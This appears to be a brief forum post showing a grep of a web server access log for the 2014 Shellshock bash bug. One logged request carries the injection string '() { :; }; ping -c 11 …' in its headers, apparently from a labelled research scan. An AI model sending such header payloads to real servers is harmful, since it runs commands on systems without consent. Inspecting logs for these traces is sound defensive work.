I am seeing:
web22 ~> grep "() {" logs/access_log
209.126.230.72 - - [24/Sep/2014:17:16:46 -0700] "GET / HTTP/1.0" 200 5733 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" 13378 () { :; }; ping -c 23 209.126.230.74 80 74529